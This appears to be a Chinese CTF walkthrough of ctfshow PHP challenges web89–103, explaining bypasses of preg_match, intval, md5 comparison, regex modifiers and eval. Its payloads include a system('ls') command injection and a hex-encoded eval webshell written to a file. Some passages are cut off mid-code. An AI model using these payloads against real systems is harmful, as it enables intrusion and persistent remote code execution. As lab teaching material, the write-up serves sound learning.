- web89
- web90、92、93、94、95
- web91
- web96
- web97
- web98
- web99
- web100、101
- web 102、103
- 104、106
- web105
- web107
- web108
- web109
- web110
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
考察点:数组绕过正则表达式 官方文档中如下介绍
返回值
返回完整匹配次数(可能是0),或者如果发生错误返回FALSE。
也就是说如果我们不按规定传一个字符串,而是数组的话,就会返回false,从而不会进入if,达到绕过的效果。
payload:num[]=1
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
考察点:intval函数的使用
官方文档中的内容
intval ( mixed $var [, int $base = 10 ] ) : int
Note:
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
如果字符串以 "0" 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
当然也可以用科学计数法。 所以
intval('4476.0')===4476 小数点
intval('+4476.0')===4476 正负号
intval('4476e0')===4476 科学计数法
intval('0x117c')===4476 16进制
intval('010574')===4476 8进制
intval(' 010574')===4476 8进制+空格
web91
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
考察点:正则表达式修饰符 拓展
i
不区分(ignore)大小写
m
多(more)行匹配
若存在换行\n并且有开始^或结束$符的情况下,
将以换行为分隔符,逐行进行匹配
$str = "abc\nabc";
$preg = "/^abc$/m";
preg_match($preg, $str,$matchs);
这样其实是符合正则表达式的,因为匹配的时候 先是匹配换行符前面的,接着匹配换行符后面的,两个都是abc所以可以通过正则表达式。
s
特殊字符圆点 . 中包含换行符
默认的圆点 . 是匹配除换行符 \n 之外的任何单字符,加上s之后, .包含换行符
$str = "abggab\nacbs";
$preg = "/b./s";
preg_match_all($preg, $str,$matchs);
这样匹配到的有三个 bg b\n bs
A
强制从目标字符串开头匹配;
D
如果使用$限制结尾字符,则不允许结尾有换行;
e
配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
payload:%0aphp
%0aphp 经过第一个匹配时,以换行符为分割也就是%0a,前面因为是空的,所以只匹配换行符后面的,所以可以通过。 经过第二个正则表达式时,因为我们是%0aphp 不符合正则表达式的以php开头以php结尾。所以无法通过,最后输出flag
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
考察点:路径问题 下面方式在highlight_file中均等效于flag.php,也即本题的payload
/var/www/html/flag.php 绝对路径
./flag.php 相对路径
php://filter/resource=flag.php php伪协议
web97
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
考察点:php中hash比较缺陷 原因:md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是强相等的。 payload:a[]=1&b[]=2
拓展
md5弱比较,使用了强制类型转换后不再接收数组
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)==md5($b)) ){
echo $flag;
}
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
payload: a=QNKCDZO&b=240610708
md5强碰撞
$a=(string)$a;
$b=(string)$b;
if( ($a!==$b) && (md5($a)===md5($b)) ){
echo $flag;
}
这时候需要找到两个真正的md5值相同数据
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
md5强碰撞收集
web98$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
考察点:三目运算符的理解+变量覆盖 根据第一条可知,如果get传了一个值,那么就可以用post覆盖get中的值。 中间两行意义不大。 最后一行是,如果get传了一个HTTP_FLAG=flag就输出flag否则显示index.php源码。 所以我们get随便传一个,然后post传 HTTP_FLAG=flag即可 payload get:1=1 post:HTTP_FLAG=flag
$allow = array();
for ($i=36; $i 附录->PHP类型比较表 因为新加进去的随机数字每次都包含1,1存在的几率是最大的。 所以直接写 n=1.php post:content=
多试几次即可
web100、101
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
考察点:and与&&的区别+反射类ReflectionClass的使用
第一部分 $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
/*&v3=;*/
v1=1&v2=-system('ls')-&v3=-1;
web 102、103
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
考察点:hex2bin函数的使用
先来说下题目本意 is_numeric在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x66也是可以识别为数字的。
var_dump(is_numeric("0x66")); php5的环境下返回true php7返回false
之后经过截断我们就得到了16进制,而且是不带0x的,这时候就可以通过调用函数hex2bin将16进制转换成字符串从而写入木马文件。(hex2bin如果参数带0x会报错) 具体做法: 首先将我们的一句话编码成16进制
0x3c3f706870206576616c28245f504f53545b315d293b3f3e
接着直接传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php post:v1=hex2bin 即可完成木马的写入。
本地测试成功写入木马。 但是该题环境没有设置好用的是php7,所以我们还是得找到另外一种方法绕过。 虽然文件内容不好控制,但是可以利用伪协议将内容进行编码转换。 所以如果能找到一条php语句经过base64编码,在转换为16进制之后全部都是数字不就可以通过了吗? 也就是说
$a="xxx";
$b=base64_encode($a);
$c=bin2hex($b);
如果$c全部都是纯数字就可以了。
这里直接借用其他师傅的payload
$a='
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?